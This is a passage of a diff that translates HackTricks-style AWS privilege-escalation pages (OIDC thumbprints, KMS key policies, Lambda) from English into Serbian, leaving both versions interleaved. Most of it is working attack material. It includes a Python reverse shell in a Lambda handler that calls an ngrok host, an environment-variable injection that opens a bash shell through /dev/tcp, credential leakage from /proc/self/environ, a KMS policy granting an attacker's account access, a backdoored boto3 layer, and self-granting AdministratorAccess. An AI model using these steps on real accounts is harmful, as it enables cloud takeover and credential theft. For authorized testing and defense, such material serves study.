(Nesigurno u vezi s tim) Ako napadač ima ove **dozvole**, mogao bi dodati novi **Thumbprint** kako bi uspeo da se prijavi u sve uloge koje veruju provajderu.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
|
||||
# Update Thumbprints (The thumbprint is always a 40-character string)
|
||||
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## KMS
|
||||
|
||||
For more info about KMS check:
|
||||
Za više informacija o KMS pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
@@ -12,8 +12,7 @@ For more info about KMS check:
|
||||
|
||||
### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
|
||||
|
||||
With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone:
|
||||
|
||||
Sa ovim dozvolama je moguće **modifikovati dozvole pristupa ključa** tako da ga mogu koristiti drugi nalozi ili čak bilo ko:
|
||||
```bash
|
||||
aws kms list-keys
|
||||
aws kms list-key-policies --key-id <id> # Although only 1 max per key
|
||||
@@ -21,106 +20,91 @@ aws kms get-key-policy --key-id <id> --policy-name <policy_name>
|
||||
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
|
||||
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
|
||||
```
|
||||
|
||||
policy.json:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<origin_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow all use",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<attackers_account>:root"
|
||||
},
|
||||
"Action": ["kms:*"],
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<origin_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow all use",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<attackers_account>:root"
|
||||
},
|
||||
"Action": ["kms:*"],
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### `kms:CreateGrant`
|
||||
|
||||
It **allows a principal to use a KMS key:**
|
||||
|
||||
Omogućava **principal-u da koristi KMS ključ:**
|
||||
```bash
|
||||
aws kms create-grant \
|
||||
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
|
||||
--operations Decrypt
|
||||
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
|
||||
--operations Decrypt
|
||||
```
|
||||
> [!WARNING]
|
||||
> Grant može dozvoliti samo određene vrste operacija: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
> [!WARNING]
|
||||
> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
> [!WARNING]
|
||||
> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\
|
||||
> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\
|
||||
> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
|
||||
|
||||
> Imajte na umu da može proći nekoliko minuta da KMS **dozvoli korisniku da koristi ključ nakon što je grant generisan**. Kada to vreme prođe, glavni korisnik može koristiti KMS ključ bez potrebe da bilo šta specificira.\
|
||||
> Međutim, ako je potrebno odmah koristiti grant [koristite grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (proverite sledeći kod).\
|
||||
> Za [**više informacija pročitajte ovo**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
|
||||
```bash
|
||||
# Use the grant token in a request
|
||||
aws kms generate-data-key \
|
||||
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
–-key-spec AES_256 \
|
||||
--grant-tokens $token
|
||||
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
–-key-spec AES_256 \
|
||||
--grant-tokens $token
|
||||
```
|
||||
|
||||
Note that it's possible to list grant of keys with:
|
||||
|
||||
Napomena da je moguće nabrojati dodeljivanje ključeva sa:
|
||||
```bash
|
||||
aws kms list-grants --key-id <value>
|
||||
```
|
||||
|
||||
### `kms:CreateKey`, `kms:ReplicateKey`
|
||||
|
||||
With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy.
|
||||
|
||||
So, an attacker could abuse this to obtain privesc his access to the key and use it
|
||||
Sa ovim dozvolama moguće je replicirati KMS ključ omogućen za više regiona u drugom regionu sa drugom politikom.
|
||||
|
||||
Dakle, napadač bi mogao da iskoristi ovo da dobije privesc svoj pristup ključa i koristi ga.
|
||||
```bash
|
||||
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
|
||||
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### `kms:Decrypt`
|
||||
|
||||
This permission allows to use a key to decrypt some information.\
|
||||
For more information check:
|
||||
Ova dozvola omogućava korišćenje ključa za dešifrovanje nekih informacija.\
|
||||
Za više informacija proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-kms-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
More info about lambda in:
|
||||
Više informacija o lambda u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lambda-enum.md
|
||||
@@ -12,23 +12,22 @@ More info about lambda in:
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\
|
||||
They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\
|
||||
Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\
|
||||
|
||||
A attacker could abuse this to get a **rev shell and steal the token**:
|
||||
Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:InvokeFunction`** dozvolama mogu da eskaliraju svoje privilegije.\
|
||||
Mogu **napraviti novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, dajući funkciji dozvole povezane sa tom ulogom. Korisnik može zatim **napisati i otpremiti kod u ovu Lambda funkciju (sa rev shell-om na primer)**.\
|
||||
Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i nameravane akcije pozivajući Lambda funkciju putem AWS API-ja. Ovaj pristup efikasno omogućava korisniku da izvršava zadatke indirektno kroz Lambda funkciju, delujući sa nivoom pristupa koji je dodeljen IAM ulozi povezanoj sa njom.\\
|
||||
|
||||
Napadač bi mogao da zloupotrebi ovo da dobije **rev shell i ukrade token**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
|
||||
s.connect(('4.tcp.ngrok.io',14305))
|
||||
os.dup2(s.fileno(),0)
|
||||
os.dup2(s.fileno(),1)
|
||||
os.dup2(s.fileno(),2)
|
||||
p=subprocess.call(['/bin/sh','-i'])
|
||||
time.sleep(900)
|
||||
return 0
|
||||
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
|
||||
s.connect(('4.tcp.ngrok.io',14305))
|
||||
os.dup2(s.fileno(),0)
|
||||
os.dup2(s.fileno(),1)
|
||||
os.dup2(s.fileno(),2)
|
||||
p=subprocess.call(['/bin/sh','-i'])
|
||||
time.sleep(900)
|
||||
return 0
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -37,8 +36,8 @@ zip "rev.zip" "rev.py"
|
||||
|
||||
# Create the function
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.9 --role <arn_of_lambda_role> \
|
||||
--handler rev.lambda_handler --zip-file fileb://rev.zip
|
||||
--runtime python3.9 --role <arn_of_lambda_role> \
|
||||
--handler rev.lambda_handler --zip-file fileb://rev.zip
|
||||
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name my_function output.txt
|
||||
@@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
|
||||
You could also **abuse the lambda role permissions** from the lambda function itself.\
|
||||
If the lambda role had enough permissions you could use it to grant admin rights to you:
|
||||
|
||||
Možete takođe **zloupotrebiti dozvole lambda uloge** iz same lambda funkcije.\
|
||||
Ako je lambda uloga imala dovoljno dozvola, mogli biste je iskoristiti da vam dodelite administratorska prava:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
client = boto3.client('iam')
|
||||
response = client.attach_user_policy(
|
||||
UserName='my_username',
|
||||
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
client = boto3.client('iam')
|
||||
response = client.attach_user_policy(
|
||||
UserName='my_username',
|
||||
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
|
||||
It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda.
|
||||
|
||||
Takođe je moguće iscuriti kredencijale uloge lambda bez potrebe za spoljnjom vezom. Ovo bi bilo korisno za **Network isolated Lambdas** korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše obrnute ljuske, ovaj deo koda će vam omogućiti da direktno iscurite kredencijale kao izlaz lambda.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'session': str(sessiontoken)
|
||||
}
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'session': str(sessiontoken)
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
|
||||
**Potencijalni Uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction`
|
||||
> Imajte na umu da čak i ako izgleda zanimljivo **`lambda:InvokeAsync`** **ne** omogućava samo po sebi da **izvršite `aws lambda invoke-async`**, takođe vam je potrebna `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`**
|
||||
|
||||
Kao u prethodnom scenariju, možete **dodeliti sebi dozvolu `lambda:InvokeFunction`** ako imate dozvolu **`lambda:AddPermission`**
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
|
||||
**Potencijalni Uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\
|
||||
They can create a **Lambda function with malicious code and assign it an existing IAM role**.
|
||||
|
||||
Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role.
|
||||
Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **escalirati privilegije** čak i bez `lambda:InvokeFunction`.\
|
||||
Mogu kreirati **Lambda funkciju sa zlonamernim kodom i dodeliti joj postojeću IAM ulogu**.
|
||||
|
||||
Umesto da direktno pozivaju Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambdom putem mape izvora događaja. Ova postavka osigurava da se Lambda funkcija **automatski aktivira prilikom unosa novog stavke** u tabelu, bilo akcijom korisnika ili nekim drugim procesom, čime se indirektno poziva Lambda funkcija i izvršava kod sa dozvolama dodeljene IAM uloge.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
|
||||
If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled:
|
||||
|
||||
Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa omogućenom striming funkcijom:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
--key-schema AttributeName=Test,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
--key-schema AttributeName=Test,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
|
||||
Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**:
|
||||
|
||||
Sada je moguće **povezati Lambda funkciju sa DynamoDB tabelom** tako što ćete **napraviti mapiranje izvora događaja**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
|
||||
With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table:
|
||||
|
||||
Sa Lambda funkcijom povezanošću sa DynamoDB strimom, napadač može **indirektno aktivirati Lambda funkciju aktiviranjem DynamoDB strima**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to the lambda service role specified.
|
||||
**Potencijalni uticaj:** Direktno privesc na ulogu lambda servisa koja je navedena.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource):
|
||||
|
||||
Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo kakve dozvole** (ovo generiše politike zasnovane na resursima za dodeljivanje pristupa resursu):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -147,71 +130,62 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it.
|
||||
**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu korišćenjem dozvole za modifikaciju koda i njegovo pokretanje.
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information
|
||||
|
||||
Napadač sa ovom dozvolom može **dati sebi (ili drugima) dozvolu `lambda:GetLayerVersion`**. Mogao bi pristupiti sloju i tražiti ranjivosti ili osetljive informacije.
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
|
||||
**Potential Impact:** Potential access to sensitive information.
|
||||
**Potencijalni uticaj:** Potencijalni pristup osetljivim informacijama.
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\
|
||||
The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**.
|
||||
|
||||
Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code.
|
||||
Korisnici koji imaju **`lambda:UpdateFunctionCode`** dozvolu imaju potencijal da **modifikuju kod postojeće Lambda funkcije koja je povezana sa IAM rolom.**\
|
||||
Napadač može **modifikovati kod lambda funkcije da bi eksfiltrirao IAM akreditive**.
|
||||
|
||||
Iako napadač možda nema direktnu sposobnost da pozove funkciju, ako je Lambda funkcija već postojala i operativna, verovatno će biti pokrenuta kroz postojeće radne tokove ili događaje, čime se indirektno olakšava izvršenje modifikovanog koda.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
--zip-file fileb:///my/lambda/code/zipped.zip
|
||||
--zip-file fileb:///my/lambda/code/zipped.zip
|
||||
|
||||
# If you have invoke permissions:
|
||||
aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to the lambda service role used.
|
||||
**Potencijalni uticaj:** Direktno privesc na ulogu lambda servisa koja se koristi.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE via env variables
|
||||
|
||||
With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands:
|
||||
#### RCE putem env varijabli
|
||||
|
||||
Sa ovim dozvolama je moguće dodati varijable okruženja koje će uzrokovati da Lambda izvrši proizvoljan kod. Na primer, u python-u je moguće zloupotrebiti varijable okruženja `PYTHONWARNING` i `BROWSER` da bi se python proces izvršio proizvoljne komande:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
|
||||
For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in:
|
||||
Za druge skriptne jezike postoje druge env promenljive koje možete koristiti. Za više informacija proverite podsekcije skriptnih jezika u:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
|
||||
{{#endref}}
|
||||
|
||||
#### RCE via Lambda Layers
|
||||
#### RCE putem Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**.
|
||||
|
||||
Inside lambda you can check the paths from where python code is loaded with a function like the following:
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava uključivanje **koda** u vašu lambda funkciju, ali **da se čuva odvojeno**, tako da kod funkcije može ostati mali i **više funkcija može deliti kod**.
|
||||
|
||||
Unutar lambda možete proveriti putanje sa kojih se python kod učitava pomoću funkcije kao što je sledeća:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
```
|
||||
|
||||
These are the places:
|
||||
Ovo su mesta:
|
||||
|
||||
1. /var/task
|
||||
2. /opt/python/lib/python3.7/site-packages
|
||||
@@ -224,73 +198,61 @@ These are the places:
|
||||
9. /opt/python/lib/python3.7/site-packages
|
||||
10. /opt/python
|
||||
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
Na primer, biblioteka boto3 se učitava iz `/var/runtime/boto3` (4. pozicija).
|
||||
|
||||
#### Exploitation
|
||||
#### Eksploatacija
|
||||
|
||||
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
|
||||
|
||||
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
|
||||
Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** funkciji lambda. Da biste izvršili proizvoljan kod, ovaj sloj treba da sadrži neku **biblioteku koju će lambda uvesti.** Ako možete da pročitate kod lambda, mogli biste to lako da pronađete, takođe imajte na umu da može biti moguće da lambda **već koristi sloj** i da možete **preuzeti** sloj i **dodati svoj kod** unutra.
|
||||
|
||||
Na primer, pretpostavimo da lambda koristi biblioteku boto3, ovo će kreirati lokalni sloj sa poslednjom verzijom biblioteke:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Možete otvoriti `./lambda_layer/boto3/__init__.py` i **dodati backdoor u globalni kod** (funkciju za eksfiltraciju kredencijala ili dobijanje reverzibilne ljuske, na primer).
|
||||
|
||||
You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).
|
||||
|
||||
Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\
|
||||
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
|
||||
|
||||
Zatim, zipujte taj `./lambda_layer` direktorijum i **otpremite novi lambda sloj** na svoj račun (ili na račun žrtve, ali možda nemate dozvole za to).\
|
||||
Napomena: potrebno je da kreirate python folder i stavite biblioteke unutra da biste prepisali /opt/python/boto3. Takođe, sloj mora biti **kompatibilan sa verzijom pythona** koja se koristi u lambdi i ako ga otpremite na svoj račun, mora biti u **istoј regiji:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
|
||||
Now, make the uploaded lambda layer **accessible by any account**:
|
||||
|
||||
Sada, učinite učitanu lambda sloj **pristupačnim za bilo koji nalog**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
|
||||
And attach the lambda layer to the victim lambda function:
|
||||
|
||||
I prikačite lambda sloj na funkciju žrtve:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
Sledeći korak bi bio ili da **pozovemo funkciju** sami ako možemo ili da čekamo da **bude pozvana** normalnim sredstvima – što je sigurnija metoda.
|
||||
|
||||
The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method.
|
||||
|
||||
A **more stealth way to exploit this vulnerability** can be found in:
|
||||
**Skriveniji način za iskorišćavanje ove ranjivosti** može se naći u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Direct privesc to the lambda service role used.
|
||||
**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja se koristi.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do!
|
||||
Možda sa tim dozvolama možete da kreirate funkciju i izvršite je pozivajući URL... ali nisam mogao da pronađem način da to testiram, pa mi javite ako vi uspete!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
|
||||
Neki lambdas će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednom od njih, možete exfiltrirati informacije koje drugi korisnici šalju, proverite to u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
